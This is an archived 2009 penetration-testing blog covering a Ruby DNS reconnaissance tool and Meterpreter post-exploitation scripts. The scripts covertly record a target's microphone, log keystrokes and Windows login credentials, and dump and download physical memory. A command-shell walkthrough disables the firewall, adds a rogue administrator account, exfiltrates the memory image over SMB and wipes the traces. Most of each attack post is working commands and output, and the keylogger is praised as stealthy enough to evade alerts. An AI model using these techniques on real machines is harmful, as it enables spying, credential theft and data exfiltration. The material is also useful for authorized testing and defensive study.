I consolidated all my tools, scripts and Blog in to a single webpage so as to make life easier for me, to get the latest version of mi blog please head over to http://www.darkoperator.com
Sorry for any inconvenience.
Thursday, April 9, 2009
Friday, April 3, 2009
DNS Recon Tool written in Ruby
I wrote this tool back in late 2006 and it has been my favorite tool for enumeration thru DNS, in great part because I wrote it and it gives the output in a way that I can manipulate it in my own style. One of the features that I used the most and gave me excellent results is the SRV record enumeration. The script will perform the following:
- Standard Record Enumeration for a given domain (A, NS, SOA and MX).
- Top Leven Domain Expansion for a given domain.
- Zone Transfer against all NS records of a given domain.
- Reverse Lookup against a given IP Range given a start and end IP.
- SRV Record enumeration, enumerating:
- _gc._tcp.
- _kerberos._tcp.
- _kerberos._udp.
- _ldap._tcp.
- _test._tcp.
- _sips._tcp.
- _sip._udp.
- _sip._tcp.
- _aix._tcp.
_aix._tcp. - _finger._tcp.
- _ftp._tcp.
- _http._tcp.
- _nntp._tcp.
- _telnet._tcp.
- _whois._tcp.
- _h323cs._tcp.
- _h323cs._udp.
- _h323be._tcp.
- _h323be._udp.
- _h323ls._tcp.
- _h323ls._udp.
- Brute force hostnames and subdomains of a given target domain using a wordlist.
To install the necessary ruby dependencies using ruby gems, run the following commands as root:
gem install pNet-DNSgem install ip
The script can be downloaded from dnsrecon.rb
I do hope that others find it as useful as I have, this tool will be included in BT4 among others of the tools that I have discussed in this blog.
Help Screen of the script:
root@bt:~# ./dnsrecon.rb
Dnsrecon 1.6
By Carlos Perez
Email: carlos_perez[at]darkoperator.comThis is a simple tool written for target enumeration during authorized penetration test
engagements. This tool provides different methods for enumerating targets thru DNS service.-t, --type
Select the type of enumeration to be done.
std Query for SOA, NS and MX Record of a target domain.
tld Top Level Domain enumeration of a target domain.
axf Perform a Zone transfer against all NS server Records
of a target domain.
rvs Reverse Record Lookup enumeration against a targeted
IP range.
srv Service Record Enumeration of VOIP, Active Directory and
Network Services service records.
brt Bruteforce subdomain and host records using a wordlist.-d, --target
Domain to be targeted for enumeration.-i, --ip
Starting IP and end IP for a range to be used for reverse lookup
enumeration of a targeted domain. Exmpl. 192.168.1.1,192.168.1.253-w, --wordlist
Wordlist to be use for brutforce enumeration of host names and subdomains.-s, --dns
Alternate DNS server to use.
-h, --help
This help message.
Here is an Example of the tool enumerating SRV Record and Standard Record.
root@bt:~# ./dnsrecon.rb -t srv -d avaya.com_sip._udp.avaya.com,198.152.17.90,5060_sip._tcp.avaya.com,198.152.17.90,5060root@bt:~# ./dnsrecon.rb -t std -d google.comgoogle.com,209.85.171.100,Agoogle.com,74.125.67.100,Agoogle.com,74.125.45.100,Ans1.google.com,216.239.32.10,SOAns4.google.com,216.239.38.10,NSns1.google.com,216.239.32.10,NSns2.google.com,216.239.34.10,NSns3.google.com,216.239.36.10,NSsmtp4.google.com,72.14.221.25,MX,10smtp1.google.com,209.85.237.25,MX,10smtp2.google.com,64.233.165.25,MX,10smtp3.google.com,209.85.137.25,MX,10
Meterpreter Script to Record Sound on a Target Machine
As requested yesterday by Paul in Pauldotcom Security Weekly podcast I wrote a small script to record all sound captured by a targets host microphone in an OGG sound file and upload such file back to the attacking machine. The tool used in linco that was suggested by Byte_Bucket in the pauldotcom IRC Channel.
http://www.darkoperator.com/soundrecorder.zip
meterpreter > run soundrecorder -hMeterpeter script to Record all sound from built in sound sourceon target hostOPTIONS:-h Help menu.-t <opt> Record Time in seconds.meterpreter > run soundrecorder -t 3[*] Uploading /pentest/exploits/framework3/data/linco.exe....[*] /pentest/exploits/framework3/data/linco.exe uploaded![*] Uploading /pentest/exploits/framework3/data/oggenc.exe....[*] /pentest/exploits/framework3/data/oggenc.exe uploaded![*] Recording...[*] stopping recording ...[*] Recording Stopped[*] Downloading sound file ...[*] File Downloaded to /root/.msf3/logs/soundrecord/15.40.154.2500046/out.ogg[*] Deleting left over files...[*] Files on target deletedmeterpreter >
4/3/09 Updated the help screen to indicate that the record time is in seconds.
Monday, March 23, 2009
Keylogger Recorder Meterpreter Script
After playing with the Meterpreter key logging function and exchanging some emails with my friend Natron I wrote a Meterpreter script that will save all of the key presses from a compromised host in to a Sqlite3 DB for later analysis. The script will perform the following actions:
- Migrate the Meterpreter process depending on the desired type of capture and privileges under it is running to:
- Winlogon.exe – for capture of user credentials as they log in to the compromised host. Only login credential will be captured.
- explorer.exe – for capturing of user keystrokes. No Windows Login credential will be capture in this mode.
- Start the capturing of keystrokes in the time interval specified, if none is given it will capture every 30 seconds.
- Save the captures and a time stamp into a sqlitedb.
Script Options:
meterpreter > run keylogrecorder -hKeylogger Recorder Meterpreter ScriptThis script will start the Meterpreter Keylogger and save all keysin a sqlite3 db for later anlysis. To stop capture hit Ctrl-CUsage:OPTIONS:-c <opt> Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0.-h Help menu.-t <opt> Time interval in seconds between recollection of keystrokes, default 30 seconds.meterpreter >
Execution without any options:
meterpreter > run keylogrecorder[*] Migrating process...[*] explorer.exe Process found, migrating..[*] Migration Successful!![*] Grabbing Desktop Keyboard Input....[*] Starting the keystroke sniffer...[*] Keystrokes being saved in to /home/carlos/.msf3/logs/keylogrecorder/192.168.1.104_20090323.1950/192.168.1.104_20090323.1950.db[*] Recording ..^C[*] Error: Interruptmeterpreter >
Execution of script under user privileges and running with option to migrate to winlogon:
meterpreter > run keylogrecorder -c 1[*] Migrating process...[*] You are not currently running as System to be able to migrate to winlogon.[*] Capturing only logon user keystrokes.[*] explorer.exe Process found, migrating..[*] Migration Successful!![*] Grabbing Desktop Keyboard Input....[*] Starting the keystroke sniffer...[*] Keystrokes being saved in to /home/carlos/.msf3/logs/keylogrecorder/192.168.1.104_20090323.2245/192.168.1.104_20090323.2245.db[*] Recording ..
As you can see it will not let you migrate in to the process if you do not have the proper permissions. To later process the data that is capture in linux you can use sqlite3 command to open the db and query it. Example:
carlos@grinder:~/msf3$ sqlite3 /home/carlos/.msf3/logs/keylogrecorder/192.168.1.104_20090323.2245/192.168.1.104_20090323.2245.dbSQLite version 3.5.9Enter ".help" for instructionssqlite> .schemaCREATE TABLE keystrokes (tkey INTEGER PRIMARY KEY,data TEXT,timeEnter DATE);sqlite> select * from keystrokes;1||20090323.22532||20090323.23263||20090323.23594||20090323.24315||20090323.25046|oks <Back> <Back> thi <Back> s is a test. <Return> I really need to get some cofe <Back> fee in m|20090323.25377|e. <Return> <Return> thank g <Back> God I'm not working on <Back> a SQL or Oracle db doing insets <Back> <Back> rts o I would be restoring f|20090323.2618|rom tape about now. <Return> |20090323.2643sqlite>
Scripts can be written to further parse the DB for information and keywords. I still have to work a better exit method and that empty key capture buffers are not saved in the db wasting space. Give it a try and let me know if you like it.
UPDATE 3/26/09
HD is making some changes in the code and on the names in the menu, as soon as I have a change to test and run in lab I will post an update to the post and the script with the new functionality.
For more information please check the Metasploit blog
Sunday, March 22, 2009
Keystroke Logging comes to Meterpreter
Today HD committed to the development tree of SVN bug fixes and updates to Meterpreter, among them the coolest of them all has to be the availability of keystroke logging. Now when you use Meterpreter as a payload you will get in the stdapi the ability to start Keystroke Login by running a simple set of commands. The new commands appear as follows:
Stdapi: User interface Commands===============================Command Description------- -----------grabdesktop Take over the active input desktop (needed for keyboard sniffing)idletime Returns the number of seconds the remote user has been idlekeyscan_dump Dump they keystroke bufferkeyscan_start Start capturing keystrokeskeyscan_stop Stop capturing keystrokesuictl Control some of the user interface components
The new commands are grabdesktop, keyscan_dump, keyscan_start and keyscan_stop. To start the capture of keystrokes we must firs run grabdesktop and then keyscan_start, this will start the capture of all keyboard input into memory.
meterpreter > grabdesktopTrying to hijack the input desktop...meterpreter > keyscan_startStarting the keystroke sniffer...
To dump the content of the buffer we run keyscan_dump, for this example I capture some text I typed into notepad:
meterpreter > keyscan_dumpDumping captured keystrokes...<Back> epnow this a <Back> s a killer feature!!!!!!!! <Return>meterpreter > keyscan_dumpDumping captured keystrokes...meterpreter >
Once the keystrokes are dumped they are cleared from the buffer, so save the output every time you do a dump since it will be lost. This new feature will only capture keyboard input, it will not capture clipboard content or any copy/paste activity, but it is extremely stealthy since it will only reside in memory and in my test machines with Vista with UAC enabled and on Windows 7 it did not trigger any alert. I’m anxiously looking forward on what will come next from the Metasploit team.
UPDATE 3/26/09
HD is making some changes in the code and on the names in the menu, as soon as I have a change to test and run in lab I will post an update to the post.
Tuesday, March 10, 2009
Dumping Memory thru Command Shell
Since in my last post I covered how to do this in meterpreter with the script I wrote, I decided to show how to do the same from command shell and you will see why I love Meterpreter and scripting Meterpreter so much!!
We start by downloading mdd in to our Backtrack4 machine.
root@bt:/pentest/windows-binaries# wget http://voxel.dl.sourceforge.net/sourceforge/mdd/mdd_1.3.exe --2009-03-10 14:01:49-- http://voxel.dl.sourceforge.net/sourceforge/mdd/mdd_1.3.exeResolving voxel.dl.sourceforge.net... 72.26.194.82Connecting to voxel.dl.sourceforge.net|72.26.194.82|:80... connected.HTTP request sent, awaiting response... 200 OKLength: 95104 (93K) [application/octet-stream]Saving to: `mdd_1.3.exe'100%[=================================================================>] 95,104 175K/s in 0.5s2009-03-10 14:01:49 (175 KB/s) - `mdd_1.3.exe' saved [95104/95104]
We will be using exe2bat.exe that is available in the /pentest/windows-binaries/tools to be able to use this tool the executable has to be 64k or less do to the limitations of the windows debug command. When we check the size of the executable we can see that it is 93k of size.
root@bt:/pentest/windows-binaries# ls -lh mdd*-rw-r--r-- 1 root root 93K 2009-01-27 12:48 mdd_1.3.exe
We can compress the executable with UPX so as to be able to meet the 64k requirement, in Backtrack4 it will have to be installed using apt-get.
root@bt:/pentest/windows-binaries# upx -2 -o mdd.exe mdd_1.3.exeUltimate Packer for eXecutablesCopyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007UPX 3.01 Markus Oberhumer, Laszlo Molnar & John Reiser Jul 31st 2007File size Ratio Format Name-------------------- ------ ----------- -----------95104 -> 55168 58.01% win32/pe mdd.exePacked 1 file.
As you can see the executable is know 55k in size. In Backtrack 4 we use wine to run the exe2bat.exe executable to convert the exe into a batch file that we can paste in shell that will use debug to generate our executable on the target host.
root@bt:/pentest/windows-binaries/tools# wine exe2bat.exe ../mdd.exe mdd.txtFinished: ../mdd.exe > mdd.txt
We take the content of the mdd.txt and paste it into our command shell, you will see that you might get an error on the last line pasted, this is expected.
c:\Windows\System32>copy 1.dll ../mdd.exeThe syntax of the command is incorrect.
The problem was the case of the dll name (first time I have ever noticed that copy is case sensitive).
c:\Windows\System32>copy 1.dll ../mdd.exeThe syntax of the command is incorrect.c:\Windows\System32>copy 1.DLL mdd.exe1 file(s) copied.c:\Windows\System32>mdd-> mdd-> ManTech Physical Memory Dump UtilityCopyright (C) 2008 ManTech Security & Mission Assurance-> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'This is free software, and you are welcome to redistribute itunder certain conditions; use option `-c' for details.-> ERROR: must specify output filename; use -h for usagec:\Windows\System32>
We can perform a check of the size of the physical memory on the target host with systeminfo this will give us an estimate of the image file that will be generated.
c:\Windows\System32>systeminfo | find /i "physical"Total Physical Memory: 3,070 MBAvailable Physical Memory: 859 MB
Now that mdd is on the target machine we can make an image of the memory, and dumping it locally.
c:\Windows\System32>mdd.exe -o memimg.dd-> mdd-> ManTech Physical Memory Dump UtilityCopyright (C) 2008 ManTech Security & Mission Assurance-> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'This is free software, and you are welcome to redistribute itunder certain conditions; use option `-c' for details.-> Dumping 3070.34 MB of physical memory to file 'memimg.dd'.773770 map operations succeeded (0.98)12236 map operations failedtook 137 seconds to writeMD5 is: 888b9663c5d760f36f5b948ed92bef23
Once the image has been made we can use several methods to transfer the image to our target machine, this may be by tfpt, scripting ftp, mounting a share from our machine that we configured with samba or we can even create a share of our own and connect to it. I will demonstrate the task of creating a share since it might be the most useful when working in large teams against a single target host and most of the steps can be of use to others in different scenarios, we can share the folder and disable the local built in firewall to be able to gain access to the share.
c:\Windows\System32>net share img=c:\windows\system32img was shared successfully.
c:\Windows\System32>netsh.exe firewall set opmode disable
Ok.
Before we create and account we can check the Account Security Policy settings so as to save time by not doing trial and error on password length while creating our account for access.
c:\Windows\System32>net accountsForce user logoff how long after time expires?: NeverMinimum password age (days): 0Maximum password age (days): 455Minimum password length: 12Length of password history maintained: 6Lockout threshold: 10Lockout duration (minutes): 60Lockout observation window (minutes): 5Computer role: WORKSTATIONThe command completed successfully.
Now that we know the password length we can create and account and add it to the local Administrators we will use this account to mount the share we created.
c:\Windows\System32>net user /add SUPPORT_3089 P@ssword0001The command completed successfully.c:\Windows\System32>net localgroup Administrators /add SUPPORT_3089The command completed successfully.
Next we mount the share on our machine with the smbmount command and the credential of the user we created.
root@bt:/pentest/windows-binaries/tools# smbmount //192.168.1.192/img /mnt/img -o user=SUPPORT_3089,pass=P@ssword0001
Now that we have mounted the share we can copy over the file, this will look for anyone looking like a normal file transfer. As you will can see the image size is of 3GB.
root@bt:/mnt/img# ls -lh memimg.dd-rwxrwSrwx 1 root root 3.0G 2009-03-10 14:50 memimg.dd
Once we have copied over the image we must perform clean up of everything we did on the target host.
c:\Windows\System32>del memimg.ddc:\Windows\System32>del mdd.exec:\Windows\System32>net share /del imgimg was deleted successfully.c:\Windows\System32>net user /del SUPPORT_3089The command completed successfully.
c:\Windows\System32>netsh firewall set opmode enable
Ok.
I hope you have found this post of great use and please do share opinions and ideas.
Monday, March 9, 2009
Meterpreter Memory Dump Script
A couple of weeks ago my friend Mubix sent me an email with the idea of dumping a targets memory for analysis and information extraction and if I could write a Meterpreter script for it, I did a small run of some ideas and like any geek with ADD I started but never finished the script. But after hearing Pauldotcom podcast episode 142 and saw the same idea that Mubix and I had discussed in the great technical segment by Marcus J. Carey from DojoSec. I decided to finish the script. This Meterpreter script differs from other scripts I have written in that it requires a tool that is not built in Meterpreter or part of the target OS, it requires Man Tech Memory DD for imaging the target machine memory, this tool works on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. For the execution of this script the mdd.exe must be downloaded and placed in the data directory of your Metasploit installation, in the case of BT4 this is in /pentest/exploits/framework3/data then the script is downloaded and placed in the Meterpreter script directory
cd /pentest/exploits/framework3/scripts/meterpreter/wget http://www.darkoperator.com/memdump.rb
Now that we have downloaded the script it can be used with the Meterpreter payload in a compromised windows target host. Once and exploit or client side attack is executed where we get a running Meterpreter session we can use this script. The options for the script are as follows:
meterpreter > run memdump -hMemory Dumper Meterpreter ScriptOPTIONS:-c Check Memory Size on target. Image file will be of this size-d Dump Memory do not download-h Help menu.-t <opt> Change the timeout default 5min. Specify timeout in secondsmeterpreter >
The first step would be to check the memory size of the target host to now what is the size of the physical memory this will let us know the size of the image that will be created, this is achieved by running the script with the –c option:
meterpreter > run memdump -c[*] Checking the memory size of the target machine ......[*] The size of the image will be the same as the amount of Physical Memory[*] Total Physical Memory: 383 MBmeterpreter >
The main reason we want to know this is for when we transfer that image, on a MS SQL server or Exchange server this may be several Gigabytes in size, especially since most modern servers come with 4GB as their minimum memory size.
To execute a full run with Download we execute the script in the following manner:
meterpreter > run memdump[*] Running Meterpreter Memory Dump Script.....[*] Uploading mdd for dumping targets memory....[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\04522.exe[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\85281.........[*] Finished dumping target memory[*] Deleting mdd.exe from target...[*] mdd.exe deleted[*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.785281[*] Finished downloading memory image[*] Deleting left over files...[*] Memory image on target deletedmeterpreter >
The script will perform the following:
- Upload mdd.exe to the path of the %TEMP% variable of the process under witch the Meterpreter session in running.
- The name will be a random generated number for obfuscation.
- It will dump the memory with a name of a random generated number also for obfuscation and for avoiding collision of files when multiple exploits and instances of the script are ran on the target machine.
- It will delete the mdd.exe on the target host.
- It will Download the image to the .msf3/logs/memdump/<target host ip><random number>
- Delete the memory image on the target host.
If the memory size is very big and the pentester wishes to use another method for downloading the image, only a dump can be executed:
meterpreter > run memdump -d[*] Running Meterpreter Memory Dump Script.....[*] Uploading mdd for dumping targets memory....[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\35194.exe[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\63258.........[*] Finished dumping target memory[*] Deleting mdd.exe from target...[*] mdd.exe deletedmeterpreter >
The default timeout for the execution and for the download of the file is of 5 minutes (300 seconds) this can be altered with the –t option and a value in seconds is given.
Once the image is downloaded it can be analyzed locally using Volatility Framework, more info about this can be found in the Pauldotcom wiki show notes for episode 142. I hope that you find this script useful and thanks to Mubix for having the mischievous idea that lead to the writing of this script.
Subscribe to:
Posts (Atom)
